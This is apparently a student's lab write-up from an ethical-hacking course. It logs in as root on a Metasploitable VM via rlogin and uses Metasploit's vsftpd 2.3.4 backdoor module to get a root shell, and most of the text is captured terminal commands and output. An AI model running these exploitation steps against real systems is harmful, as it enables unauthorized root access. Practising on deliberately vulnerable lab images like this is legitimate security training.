Steps to be followed:-

1. Run the metasploitable(meta) image on oracle VM machine(or any other Virtual Machine).
2. Run the **ifconfig** command on the meta image after logging in with the credentials (in most cases username:msfadmin, password:msfadmin)
3. Check the IP address of the meta engine(mostly it's 10.0.2.4 or 10.0.2.15)
4. Then using the shell i.e. command terminal of Linux, entering into root user by using the command **sudo su**, then type in the credentials and run the following command
   rlogin –l root 10.0.2.4 (IP address of the meta machine checked in step 3)
5. Then use the **ls** command to display the root directories and files stored on the metasploitable database(server).
6. The using the **cd ..** command display other files and directories of the meta image.
7. Then open a new shell in Kali Linux and type **msfconsole,** this would open a console of metasploitable server.
8. Then type in the following command to create a backdoor **use exploit/unix/ftp/vsftpd_234_backdoor**
9. Then type the **show options** command to display the RHOSTS and RPORTS.
10. Use the command **set rhost 10.0.2.4**(IP address of the metasploitable server found in step 3) and **set rport 21**
11. Then type in **exploit** command.
12. On successful exploit it would create a session shell
13. Now type in the **ls** command to display all the directories and files on Metasploitable server
14. Then type **cd root** , now one enters into the root directory and the type **ls**

In Step 5 and Step 14:-
There were 3 directories wiz **Desktop**, **reset_logs.sh** and **vnc.log**

So we have accessed the files of a virtual web server (metasploitable server image) using the msfconsole and .inet .rsh

```
          TX packets:169 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:56877 (55.5 KB)  TX bytes:56877 (55.5 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:31:97:22
          inet addr:10.0.2.4  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe31:9722/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:177 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:16458 (16.0 KB)  TX bytes:21786 (21.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:169 errors:0 dropped:0 overruns:0 frame:0
          TX packets:169 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:56877 (55.5 KB)  TX bytes:56877 (55.5 KB)

msfadmin@metasploitable:~$ _
```

kali linux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

1 2 3 4 20:11

root@metasploitable: /

File Actions Edit View Help

advait@10: ~ × root@metasploitable: / ×

```
┌──(advait㉿10)-[~]
└─$ sudo su
[sudo] password for advait:
┌──(root㉿10)-[/home/advait]
└─# rlogin -l root 10.0.2.4
Last login: Sat Aug  5 10:33:29 EDT 2023 from 10.0.2.15 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# ls
Desktop  reset_logs.sh  vnc.log
root@metasploitable:~# cd root
-bash: cd: root: No such file or directory
root@metasploitable:~# cd ..
root@metasploitable:/# ls
bin  boot  cdrom  dev  etc  home  initrd  initrd.img  lib  lost+found  media  mnt  nohup.out  opt  proc  root  sbin  srv  sys  tmp  usr  var  vmlinuz
root@metasploitable:/#
```

Snipping Tool

New Mode Delay Cancel Options

Select the snip mode using the Mode button or click the New button.

Snipping Tool is moving...

In a future update, Snipping Tool will be moving to a new home. Try improved features and snip like usual with Snip & Sketch (or try the shortcut Windows logo key + Shift + S).

Try Snip & Sketch

Right Ctrl

kali linux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

1 2 3 4 20:13

advait@10: ~

File Actions Edit View Help

advait@10: ~ × root@metasploitable: / ×

```
┌──(advait㉿10)-[~]
└─$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:78:67:a3:77  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe7c:6caa  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:7c:6c:aa  txqueuelen 1000  (Ethernet)
        RX packets 53239  bytes 66871544 (63.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19356  bytes 2704240 (2.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 462  bytes 29380 (28.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 462  bytes 29380 (28.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


┌──(advait㉿10)-[~]
└─$ msfconsole

 _____________________________
/ it looks like you're trying to run a \
\ module                      /
 -----------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/


       =[ metasploit v6.3.25-dev                          ]
+ -- --=[ 2332 exploits - 1219 auxiliary - 413 post       ]
```

Right Ctrl

kali linux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

advait@10: ~

File Actions Edit View Help

advait@10: ~ × root@metasploitable: / ×

```
    |\_/|
    \___/


       =[ metasploit v6.3.25-dev                          ]
+ -- --=[ 2332 exploits - 1219 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > list
[-] Unknown command: list
msf6 > ls
[*] exec: ls

crackpassword  Desktop  Documents  Downloads  hulk  hulk.git  msfinstall  Music  my_captain_ethical_hacking_july_2023  node_modules  package.json  package-lock.json  passwords  Pictures  Public  task3.apk  Templates  Videos
msf6 > use exploit
^C[-] use: Interrupted
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Right Ctrl

```
Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.15
rhost => 10.0.2.15
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rport 21
rport => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   10.0.2.15        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 10.0.2.15:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.4
rhost => 10.0.2.4
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

advait@10: ~

File Actions Edit View Help

advait@10: ~ × root@metasploitable: / ×

```
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 10.0.2.15:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.4
rhost => 10.0.2.4
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.4:21 - USER: 331 Please specify the password.
[+] 10.0.2.4:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:43977 → 10.0.2.4:6200) at 2023-08-05 19:53:08 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
vnc.log
```